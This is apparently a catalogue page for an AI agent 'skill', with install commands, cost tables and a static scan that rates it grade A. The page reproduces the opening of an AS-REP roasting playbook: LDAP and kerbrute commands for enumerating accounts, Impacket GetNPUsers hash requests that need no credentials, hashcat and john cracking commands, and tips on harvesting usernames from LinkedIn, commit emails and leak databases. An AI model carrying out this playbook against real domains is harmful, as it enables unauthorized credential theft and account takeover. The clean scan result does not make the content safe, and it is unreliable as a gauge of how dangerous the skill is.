Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill asrep-roastinggit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/asrep-roasting)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/asrep-roasting"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/asrep-roasting/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/asrep-roasting"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/asrep-roasting.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00031 | $0.00957 |
| Opus 5 | $0.00015 | $0.00478 |
| Sonnet 5 | $0.00006 | $0.00191 |
| Haiku 4.5 | $0.00003 | $0.00096 |
Grade A, and why
asrep-roasting scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 12d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
94% identical to asrep-roasting — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 101 lines — stays where its author put it; the contents beside it link to each section on GitHub.
AS-REP Roasting Playbook
Prerequisite
None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).
1. Identify vulnerable users
From BloodHound:
kg_query(kind="user", filter="dontreqpreauth=true and enabled=true")
Direct LDAP (if you have any cred or anonymous-bind allowed):
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
sAMAccountName
Or brute-force user discovery (only when no LDAP access):
# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt
2. Request AS-REP
Impacket (zero-auth path):
GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
-format hashcat -no-pass -outputfile /tmp/asrep.hashes
With creds (more reliable, also enum):
GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-format hashcat -outputfile /tmp/asrep.hashes
Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).
3. Crack offline (hashcat mode 18200)
hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes
AS-REP-roastable users tend to be:
- Legacy service accounts (sysadmin set DONT_REQ_PREAUTH to "fix" a ticket issue in 2014, never reverted)
- Test / dev accounts with weak passwords
- Accounts created from a misconfigured PowerShell script
Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.
4. Userlist sources when zero-auth
Without LDAP, your userlist comes from:
kerbrute userenumagainst common lists (jsmith.txt, statistically-common-usernames)- LinkedIn scrape → format conversion (
firstname.lastname,flastname) - Github commit emails from company orgs
- Email leaks (HIBP, Dehashed if op-authorized)
- Subdomain enumeration → username patterns in metadata
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 12d ago First seen · 101 lines · 31 tokens per session scan A 9237139fc88c
asrep-roasting is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 31 tokens to every session and 957 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 0 findings. It is 94% identical to asrep-roasting, differing in 2 lines, and is treated as a copy.
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